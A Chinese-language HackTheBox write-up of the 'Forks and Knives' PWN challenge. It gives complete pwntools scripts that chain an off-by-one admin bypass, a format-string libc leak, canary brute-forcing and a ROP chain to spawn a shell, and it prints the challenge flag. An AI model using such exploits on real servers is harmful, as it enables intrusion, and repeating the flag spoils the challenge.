Forks and Knives - HackTheBox PWN Challenge Writeup

發布日期:2026/4/26

摘要: 這是一個以 TCP 伺服器分叉形式實現的餐廳訂餐和預訂系統。這個二進位檔案包含三個不同的漏洞,必須將它們串聯起來才能利用:一個用於權限提升的差一空位元組溢位漏洞、一個用於資訊外洩的格式化字串漏洞,以及一個用於程式碼執行的緩衝區溢位漏洞。


Forks and Knives — HackTheBox PWN 挑戰 Writeup

概述

  • 題目:Forks and Knives(PWN,Medium,HackTheBox)
  • 二進位檔:ELF 64-bit LSB PIE executable,x86-64,dynamically linked
  • 保護機制:Full RELRO、Stack Canary、NX enabled、PIE enabled
  • Libc:Ubuntu GLIBC 2.35(Ubuntu 22.04)
  • 伺服器架構:Forking TCP 伺服器,每個客戶端連線分配一個 fork 子進程處理
  • 描述:一個餐廳訂位/點餐系統,存在格式化字串(format string)與緩衝區溢位(buffer overflow)漏洞
  • FlagHTB{1378a4e70c161a576cf332b388d4cdc8}

環境設置

挑戰提供的檔案解壓後結構如下:

pwn_forks_and_knives/
├── Dockerfile          # Ubuntu 22.04 容器,以 ctf 使用者運行 ./server
├── build-docker.sh     # Docker 建構腳本
└── challenge/
    ├── server          # ELF 64-bit 主程式
    └── libc.so.6       # 配套 libc(GLIBC 2.35)

Dockerfile 可知:

  • 容器基於 ubuntu:22.04
  • 伺服器以 ctf 使用者權限運行
  • Flag 位於 /home/ctf/flag*.txt
  • 伺服器監聽 1337 端口

偵察分析

二進位保護檢查

$ checksec pwn_forks_and_knives/challenge/server
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

所有主要保護機制均已啟用:

  • Full RELRO:GOT 表唯讀,無法覆寫 GOT 項目
  • Stack Canary:堆疊金絲雀保護,防止直接緩衝區溢位
  • NX:堆疊不可執行,無法注入 shellcode
  • PIE:位址空間隨機化,程式基址在每次執行時不同

伺服器行為分析

伺服器是一個 forking TCP 伺服器:

  1. 父進程呼叫 socket() 建立監聽 socket(fd=3)
  2. 父進程呼叫 accept() 等待客戶端連線(客戶端 fd=4)
  3. 每個連線 fork() 一個子進程處理
  4. 子進程關閉監聽 socket(fd=3),保留客戶端 socket(fd=4)

關鍵特性:由於 fork() 產生的子進程是父進程的完整複製,所有子進程共享相同的:

  • ASLR 隨機化基址(libc base、stack base 等)
  • Stack Canary 值
  • PIE 基址

這意味著我們可以跨多個連線逐步洩漏資訊,而不必擔心位址變化。

選單功能

連線後首先要求輸入名稱(16 位元組緩衝區),然後顯示選單:

+--- 餐廳系統 ---+
| 1) Reserve a table    (預約桌位)
| 2) Place an order     (點餐)
| 3) Exit               (離開)
| 4) Admin login        (管理員登入 — 未實作)
| 5) View reservations  (查看預約 — 需管理員)
| 6) Clear reservations (清除預約 — 需管理員)
+---             ---+
=> 
  • 選項 1(預約桌位):讀取 4 位元組的「人數」,使用 snprintf 格式化後以 fprintf 寫入檔案
  • 選項 2(點餐):讀取最多 0x100 位元組的訂單,可選擇追加更多
  • 選項 3(離開):結束連線
  • 選項 4(管理員登入):功能未實作,直接返回
  • 選項 5(查看預約):需要管理員權限,讀取並顯示預約檔案內容
  • 選項 6(清除預約):需要管理員權限,清空預約檔案

漏洞分析

本題需要串聯三個漏洞來完成利用。

漏洞一:管理員權限繞過(Off-by-one 空位元組溢位)

記憶體佈局(BSS 段)

地址 0x4030:  name_buf[16]     ← 名稱緩衝區(16 位元組)
地址 0x4040:  not_manager      ← 管理員旗標(初始值 = 1,表示非管理員)

漏洞成因

  • read(fd, name_buf, 16) 讀取最多 16 位元組到 name_buf
  • 讀取後在 bytes_read 位置寫入空終止符(\0
  • 若發送恰好 16 位元組:read() 返回 16,空終止符寫入 name_buf[16]
  • name_buf[16] 的地址 = 0x4030 + 16 = 0x4040 = not_manager 變數的地址
  • not_manager 從 1(0x01)被覆蓋為 0(\0
  • not_manager == 0 → 程式判定為管理員 → 解鎖選項 5 和 6

觸發方式

io.recvuntil(b'=> ')
io.send(b'A' * 16)  # 恰好 16 位元組,空終止符溢出到 not_manager

漏洞二:格式化字串漏洞(fprintf 資訊洩漏)

漏洞路徑:選項 1(預約桌位)

程式碼流程

  1. 讀取 4 位元組使用者輸入作為「人數」
  2. snprintf(buf, size, "Table for %s", user_input) → 產生格式化字串
  3. fprintf(file, buf) → 將結果寫入預約檔案

問題fprintf 的第二個參數是使用者可控的格式化字串。如果使用者輸入 %2$psnprintf 會產生 "Table for %2$p",然後 fprintf(file, "Table for %2$p") 會將 rcx 暫存器(第二個參數位置)的值以十六進位形式寫入檔案。

為什麼是 %2$p

  • 受限於 4 位元組輸入(%2$p 恰好 4 位元組)
  • %2$p 對應 rcx 暫存器
  • fprintf 被呼叫時,rcx 保存了先前 lseek64 syscall 的返回值
  • 該返回值是一個 libc 內部地址,偏移量為 0x11491b(相對於 libc 基址)

注意:最初推測偏移量為 0x8c91b(基於 _IO_file_attach 內部地址),但實際透過 syscall; ret 指令模式比對確認,洩漏值來自 lseek64 的 syscall 返回路徑。最終使用的正確偏移量為 0x11491b

洩漏資料的讀取:使用選項 5(查看預約)讀回寫入檔案的洩漏值。這就是為什麼我們需要先完成管理員權限繞過。

觸發方式

# 先清除舊預約(避免干擾)
io.recvuntil(b'=> '); io.send(b'6')        # 清除預約(需管理員)
io.recvuntil(b'+---', timeout=3)

# 以格式化字串預約
io.recvuntil(b'=> '); io.send(b'1')        # 選擇預約
io.recvuntil(b'=> '); io.send(b'%2$p')     # 格式化字串 payload

# 讀回洩漏資料
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'5')        # 查看預約
data = io.recvuntil(b'+---', timeout=3)

# 解析洩漏的 libc 地址
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
    end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc_base = libc_leak - 0x11491b

漏洞三:緩衝區溢位(點餐功能)

漏洞路徑:選項 2(點餐)

堆疊配置

[rbp-0x110]  order_buf[256]   ← 點餐緩衝區(0x100 = 256 位元組)
[rbp-0x10]   ???              ← 8 位元組間隔
[rbp-0x08]   canary           ← Stack Canary(8 位元組)
[rbp+0x00]   saved_rbp        ← 保存的 RBP(8 位元組)
[rbp+0x08]   return_addr      ← 返回地址(8 位元組)
[rbp+0x10]   ...              ← ROP 鏈接續空間

程式碼流程

// 第一次讀取
ssize_t n = read(fd, buf, 0x100);      // 讀取最多 256 位元組到 buf

// 詢問是否追加
// 若使用者回答 "y":

// 第二次讀取
read(fd, buf + n, 0x100);              // 從 buf + n 開始,再讀取 0x100 位元組

溢位原理

  • 第一次讀取:read(fd, buf, 0x100) → 若恰好讀入 0x100 位元組,n = 0x100
  • 第二次讀取:read(fd, buf + 0x100, 0x100) → 寫入位置從 [rbp-0x110+0x100] = [rbp-0x10] 開始
  • 第二次讀取的 0x100 位元組可以覆蓋:
    • [rbp-0x10]:8 位元組間隔
    • [rbp-0x08]:Stack Canary(8 位元組)
    • [rbp+0x00]:saved RBP(8 位元組)
    • [rbp+0x08]:返回地址(8 位元組)
    • [rbp+0x10] 起:ROP 鏈(剩餘空間)

利用策略

步驟一:洩漏 libc 基址

from pwn import *

context.arch = 'amd64'

HOST = '<target_ip>'
PORT = <target_port>
LIBC = './pwn_forks_and_knives/challenge/libc.so.6'
libc = ELF(LIBC)

LIBC_LEAK_OFFSET = 0x11491b  # %2$p 洩漏值相對於 libc 基址的偏移量

io = remote(HOST, PORT, timeout=5)

# 管理員繞過:發送恰好 16 位元組
io.recvuntil(b'=> '); io.send(b'A' * 16)

# 清除舊預約
io.recvuntil(b'=> '); io.send(b'6')
io.recvuntil(b'+---', timeout=3)

# 以格式化字串預約
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'%2$p')
io.recvuntil(b'reserved', timeout=3)

# 讀回洩漏資料
io.recvuntil(b'=> '); io.send(b'5')
data = io.recvuntil(b'+---', timeout=3)
io.close()

# 解析 libc 地址
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
    end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc.address = libc_leak - LIBC_LEAK_OFFSET
assert libc.address & 0xfff == 0, f"Libc base 未對齊: {libc.address:#x}"
print(f"[+] Libc base: {libc.address:#x}")

步驟二:暴力破解 Stack Canary

由於伺服器使用 fork(),所有子進程共享相同的 Stack Canary 值。這使得我們可以逐位元組暴力破解 canary。

原理

  • Linux x86-64 上,Stack Canary 的最低位元組(第一個位元組)永遠是 0x00(空位元組),用於防止字串函數洩漏
  • 對於剩餘的 7 個位元組(位元組 2-8),我們逐一猜測:
    • 發送溢位 payload,包含已知的正確位元組 + 一個猜測位元組
    • 若猜測正確 → 子進程存活,返回選單提示符 =>
    • 若猜測錯誤 → __stack_chk_fail 觸發,子進程崩潰終止,連線中斷

時間複雜度

  • 每個位元組最多 256 次嘗試,平均約 128 次
  • 7 個位元組 × 平均 128 次 = 約 896 次連線
  • 每次嘗試約 1-2 秒
  • 總計約 15-30 分鐘
import time

canary = b'\x00'  # 第一個位元組永遠是 0x00
start = time.time()

for byte_pos in range(1, 8):
    found = False
    for guess in range(256):
        # 建立新連線(每次嘗試用一個新的 fork 子進程)
        for retry in range(3):
            try:
                io = remote(HOST, PORT, timeout=5)
                break
            except:
                sleep(5)  # 等待伺服器恢復
        
        try:
            # 管理員繞過 + 進入點餐流程
            io.recvuntil(b'=> '); io.send(b'A' * 16)
            io.recvuntil(b'=> '); io.send(b'1')
            io.recvuntil(b'=> '); io.send(b'1')
            io.recvuntil(b'reserved', timeout=3)
            io.recvuntil(b'=> '); io.send(b'2')
            io.recvuntil(b'=> '); io.send(b'A' * 0x100)  # 第一次讀取填滿 256 位元組
            io.recvuntil(b'=> '); io.send(b'y')            # 確認追加
            io.recvuntil(b'=> ')

            # 第二次讀取:溢位 payload
            # 佈局:8 位元組間隔 + 已知 canary 位元組 + 猜測位元組
            payload = b'B' * 8 + canary + bytes([guess])
            io.send(payload)

            # 檢測:等待 "placed" 訊息後,嘗試接收選單提示符
            io.recvuntil(b'placed', timeout=3)

            try:
                data = io.recvuntil(b'=> ', timeout=1.5)
                if b'=> ' in data:
                    # 子進程存活 → canary 位元組正確!
                    canary += bytes([guess])
                    elapsed = time.time() - start
                    print(f"[+] Byte {byte_pos}/7: {guess:#04x} "
                          f"[{elapsed:.0f}s] canary={canary.hex()}")
                    found = True
                    io.close()
                    break
            except:
                pass

            io.close()
        except:
            try: io.close()
            except: pass

        sleep(0.1)  # 節流,避免過載伺服器

    if not found:
        print(f"[-] 第 {byte_pos} 位元組暴力破解失敗!伺服器可能已重啟。")
        sys.exit(1)

canary_val = u64(canary)
print(f"[+] 完整 Canary: {canary_val:#018x}")

驗證 Canary

io = remote(HOST, PORT, timeout=5)
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')

# 發送完整 canary + 額外 8 位元組測試
io.send(b'B' * 8 + canary + b'C' * 8)
io.recvuntil(b'placed', timeout=3)

try:
    data = io.recvuntil(b'=> ', timeout=2.0)
    if b'=> ' in data:
        print("[+] Canary 驗證成功!")
except:
    print("[-] Canary 驗證失敗(子進程崩潰)")
io.close()

步驟三:透過原始 syscall 建構 ROP 鏈

由於 Full RELRO 保護導致 GOT 表不可寫,且 libc 函數(如 dup2execve)的入口可能包含 CET endbr64 指令造成問題,因此我們使用 libc 中的原始 syscall gadget 來構建 ROP 鏈。

ROP 策略

1. dup2(4, 0)    ← 將客戶端 socket (fd=4) 重定向到 stdin
2. dup2(4, 1)    ← 將客戶端 socket (fd=4) 重定向到 stdout
3. execve("/bin/sh", NULL, NULL)  ← 啟動 shell

注意:省略了 dup2(4, 2) 以節省 payload 空間,因為 stderr 對互動式 shell 並非必要。第二次讀取限制為 0x100 位元組,ROP 鏈必須在此限制內。

使用的 Gadgets(相對於 libc 基址的偏移量)

Gadget 偏移量 用途
pop rdi; ret 0x2a3e5 設置第一個參數(rdi)
pop rsi; ret 0x2be51 設置第二個參數(rsi)
pop rdx; pop r12; ret 0x11f2e7 設置第三個參數(rdx)
pop rax; ret 0x45eb0 設置 syscall 編號(rax)
syscall; ret 0x91316 執行系統呼叫
"/bin/sh" 字串 0x1d8678 execve 的路徑參數

完整 ROP 鏈建構

# libc gadget 偏移量
POP_RDI    = 0x2a3e5
POP_RSI    = 0x2be51
POP_RDX_R12 = 0x11f2e7
POP_RAX    = 0x45eb0
SYSCALL_RET = 0x91316
BINSH      = 0x1d8678

CLIENT_FD = 4  # fork 子進程中客戶端 socket 的 fd

rop = b''

# dup2(4, 0) → SYS_dup2 = 33
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD)     # rdi = 4
rop += p64(libc.address + POP_RSI) + p64(0)              # rsi = 0 (stdin)
rop += p64(libc.address + POP_RAX) + p64(33)             # rax = 33 (SYS_dup2)
rop += p64(libc.address + SYSCALL_RET)                    # syscall

# dup2(4, 1) → SYS_dup2 = 33
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD)     # rdi = 4
rop += p64(libc.address + POP_RSI) + p64(1)              # rsi = 1 (stdout)
rop += p64(libc.address + POP_RAX) + p64(33)             # rax = 33 (SYS_dup2)
rop += p64(libc.address + SYSCALL_RET)                    # syscall

# execve("/bin/sh", NULL, NULL) → SYS_execve = 59
rop += p64(libc.address + POP_RDI) + p64(libc.address + BINSH)  # rdi = "/bin/sh"
rop += p64(libc.address + POP_RSI) + p64(0)                      # rsi = NULL
rop += p64(libc.address + POP_RDX_R12) + p64(0) + p64(0)        # rdx = NULL, r12 = 0
rop += p64(libc.address + POP_RAX) + p64(59)                     # rax = 59 (SYS_execve)
rop += p64(libc.address + SYSCALL_RET)                            # syscall

步驟四:發送溢位 Payload 取得 Shell

io = remote(HOST, PORT, timeout=5)

# 管理員繞過
io.recvuntil(b'=> '); io.send(b'A' * 16)

# 預約(非必要,但保持一致的流程)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)

# 進入點餐流程
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> ')

# 第一次讀取:填滿 256 位元組
io.send(b'A' * 0x100)

# 確認追加
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')

# 第二次讀取:溢位 payload
# 佈局:間隔(8) + canary(8) + saved_rbp(8) + ROP 鏈
payload = b'X' * 8 + canary + b'Y' * 8 + rop
assert len(payload) <= 0x100, f"Payload 過長: {len(payload)} 位元組"
io.send(payload)

# 等待 ROP 鏈執行
sleep(0.5)

# 測試 shell
io.sendline(b'echo SHELL_OK')
resp = io.recv(timeout=2)
if b'SHELL_OK' in resp:
    print("[+] 成功取得 Shell!")
    io.interactive()

步驟五:取得 Flag

$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag*
HTB{1378a4e70c161a576cf332b388d4cdc8}

完整利用腳本

最終使用的利用腳本 exploit_v3.py 整合了上述所有步驟:

#!/usr/bin/env python3
"""
Forks and Knives — 完整利用腳本
1. 管理員權限繞過(off-by-one 空位元組溢位)
2. 格式化字串洩漏 libc 基址
3. 暴力破解 Stack Canary(forking 伺服器特性)
4. 緩衝區溢位 + 原始 syscall ROP 鏈:dup2 + execve("/bin/sh")
"""
import sys, time
sys.stdout.reconfigure(line_buffering=True)

from pwn import *
context.arch = 'amd64'
context.log_level = 'error'

HOST = '<target_ip>'
PORT = <target_port>
LIBC = './pwn_forks_and_knives/challenge/libc.so.6'
libc = ELF(LIBC)

LIBC_LEAK_OFFSET = 0x11491b
POP_RDI     = 0x2a3e5
POP_RSI     = 0x2be51
POP_RDX_R12 = 0x11f2e7
POP_RAX     = 0x45eb0
SYSCALL_RET = 0x91316
BINSH       = 0x1d8678

def conn():
    return remote(HOST, PORT, timeout=5)

def setup_and_overflow(io, canary_bytes):
    io.recvuntil(b'=> '); io.send(b'A' * 16)
    io.recvuntil(b'=> '); io.send(b'1')
    io.recvuntil(b'=> '); io.send(b'1')
    io.recvuntil(b'reserved', timeout=3)
    io.recvuntil(b'=> '); io.send(b'2')
    io.recvuntil(b'=> '); io.send(b'A' * 0x100)
    io.recvuntil(b'=> '); io.send(b'y')
    io.recvuntil(b'=> ')
    io.send(b'B' * 8 + canary_bytes)
    io.recvuntil(b'placed', timeout=3)

# ===== 步驟一:洩漏 libc =====
print("[*] 正在洩漏 libc 位址...")
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'6')
io.recvuntil(b'+---', timeout=3)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'%2$p')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'5')
data = io.recvuntil(b'+---', timeout=3)
io.close()

idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
    end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc.address = libc_leak - LIBC_LEAK_OFFSET
print(f"[+] Libc base: {libc.address:#x}")

# ===== 步驟二:暴力破解 canary =====
print("[*] 正在暴力破解 Stack Canary...")
start = time.time()
canary = b'\x00'

for byte_pos in range(1, 8):
    found = False
    for guess in range(256):
        for retry in range(3):
            try:
                io = conn()
                break
            except:
                sleep(5)
        else:
            print(f"[-] 無法連線"); sys.exit(1)
        try:
            setup_and_overflow(io, canary + bytes([guess]))
            try:
                data = io.recvuntil(b'=> ', timeout=1.5)
                if b'=> ' in data:
                    canary += bytes([guess])
                    elapsed = time.time() - start
                    print(f"[+] Byte {byte_pos}/7: {guess:#04x} "
                          f"[{elapsed:.0f}s] canary={canary.hex()}")
                    found = True
                    io.close()
                    break
            except:
                pass
            io.close()
        except:
            try: io.close()
            except: pass
        sleep(0.1)
    if not found:
        print(f"[-] 第 {byte_pos} 位元組失敗!"); sys.exit(1)

print(f"[+] Canary: {u64(canary):#018x} ({time.time()-start:.0f} 秒)")

# ===== 步驟三:ROP 利用 =====
print("[*] 正在建構 ROP 鏈...")
CLIENT_FD = 4

rop = b''
for target_fd in [0, 1]:  # dup2(4, 0) 和 dup2(4, 1)
    rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD)
    rop += p64(libc.address + POP_RSI) + p64(target_fd)
    rop += p64(libc.address + POP_RAX) + p64(33)
    rop += p64(libc.address + SYSCALL_RET)

# execve("/bin/sh", NULL, NULL)
rop += p64(libc.address + POP_RDI) + p64(libc.address + BINSH)
rop += p64(libc.address + POP_RSI) + p64(0)
rop += p64(libc.address + POP_RDX_R12) + p64(0) + p64(0)
rop += p64(libc.address + POP_RAX) + p64(59)
rop += p64(libc.address + SYSCALL_RET)

io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')

payload = b'X' * 8 + canary + b'Y' * 8 + rop
io.send(payload)
sleep(0.5)

context.log_level = 'info'
io.sendline(b'id')
print(io.recvline(timeout=2).decode().strip())
io.sendline(b'cat /home/ctf/flag*')
print(f"[+] FLAG: {io.recvline(timeout=2).decode().strip()}")
io.interactive()

關鍵技術與學習心得

1. Off-by-one 空位元組溢位

經典的 BSS 段相鄰變數覆蓋。當 read() 返回值恰好等於緩衝區大小時,空終止符(\0)會溢出到下一個變數。此漏洞雖然微小,卻足以將 not_manager 旗標從 1 改為 0,從而繞過權限檢查。

教訓:永遠不要假設空終止符寫入是安全的。BSS 段中的變數佈局應該仔細審查,尤其是緩衝區與控制旗標相鄰的情況。

2. 透過 fprintf 的格式化字串攻擊

即使格式化字串的結果是寫入檔案而非直接輸出到使用者,只要檔案內容可以被讀回,資訊洩漏仍然成立。本題中,fprintf(file, user_controlled_string) 將洩漏值寫入預約檔案,再透過「查看預約」功能讀回。

教訓:格式化字串漏洞不僅限於 printf 到標準輸出。任何使用使用者可控格式化字串的函數(fprintfsprintfsnprintf 等)都可能被利用。

3. Forking 伺服器的 Canary 暴力破解

fork() 系統呼叫產生的子進程是父進程的完整複製,包括:

  • 記憶體佈局(堆疊、堆積、BSS 等)
  • ASLR 隨機化的基址
  • Stack Canary 值
  • 所有打開的檔案描述符

這意味著每次連線(每個 fork 子進程)都有相同的 canary,使得逐位元組暴力破解成為可能。只需 7 × 256 = 1792 次嘗試(最壞情況),而非 2^56 次。

教訓:Forking 伺服器是 canary 暴力破解的經典目標。只有在伺服器主進程重啟(execve 重新載入)時,canary 才會改變。

4. Libc 偏移量識別

%2$p 洩漏的值來自 rcx 暫存器。在 fprintf 呼叫時,rcx 保存了先前 lseek64 syscall 的返回值。確定正確的偏移量需要:

  • 使用 GDB 附加到子進程,在 fprintf 處中斷
  • 檢查 rcx 的值並對照 libc 中的地址
  • 透過 syscall; ret 指令模式比對確認,而非僅依賴符號表

教訓:格式化字串洩漏的暫存器值可能來自意想不到的 syscall 返回值。驗證偏移量時應考慮完整的呼叫路徑,而非僅看最近的函數呼叫。

5. 原始 syscall ROP 鏈

當 libc 函數的包裝器因 CET(Control-flow Enforcement Technology)的 endbr64 指令或其他原因而無法直接透過 ROP 呼叫時,使用原始 syscall gadget 更加可靠:

pop rax; ret     → 設置 syscall 編號
pop rdi; ret     → 設置第一個參數
pop rsi; ret     → 設置第二個參數
pop rdx; ...; ret → 設置第三個參數
syscall; ret     → 執行系統呼叫

這種方式繞過了所有 libc 函數前導碼的問題,直接與核心互動。

教訓:在現代 libc 中,原始 syscall gadget 往往比直接呼叫 libc 函數更可靠。ROPgadgetropper 等工具可以在 libc 中找到這些 gadget。

6. Payload 大小限制

第二次 read() 的大小限制為 0x100(256 位元組)。ROP 鏈的佈局為:

間隔:       8 位元組
Canary:    8 位元組
saved RBP: 8 位元組
ROP 鏈:    剩餘空間(最多 232 位元組)

每個 syscall 呼叫需要約 4-5 個 gadget(32-40 位元組),因此需要精心安排 ROP 鏈的大小。本利用中省略了 dup2(4, 2)(stderr 重定向),因為對於取得互動式 shell 並非必要,從而節省了空間。

教訓:在空間受限的 ROP 利用中,應優先考慮必要的系統呼叫,並利用原始 syscall 來減少每個操作的 gadget 數量。

目錄